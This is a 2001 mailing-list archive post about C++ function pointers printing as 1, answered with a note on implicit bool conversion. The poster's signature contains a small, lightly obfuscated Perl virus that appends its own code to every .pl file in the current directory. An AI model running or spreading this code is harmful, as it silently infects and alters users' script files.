Mail Archives: djgpp/2001/04/20/16:34:04
Dennis Yelle <dennis51 AT jps DOT net> wrote:
> I was surprised by the output from this program:
> ---------------------
> #include <iostream>
>
> int junk1() { return 111; }
>
> int junk2() { return 222; }
>
> int main()
> {
> if ( junk1 != junk2 ) {
> cout << "different\n";
> }
> cout << junk1 << '\n';
> cout << junk2 << '\n';
> return 0;
> }
> ----------------------
>
> I got this:
> ----------------
> different
> 1
> 1
> ---------------
>
> So, the function pointers are different, but
> they both print as 1. Is this expected, and desired
> behavior? Or is it a bug?
They are implicitly converted to bool, but do not ask me why. Or is
there a conversion chain function->bool->int?
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -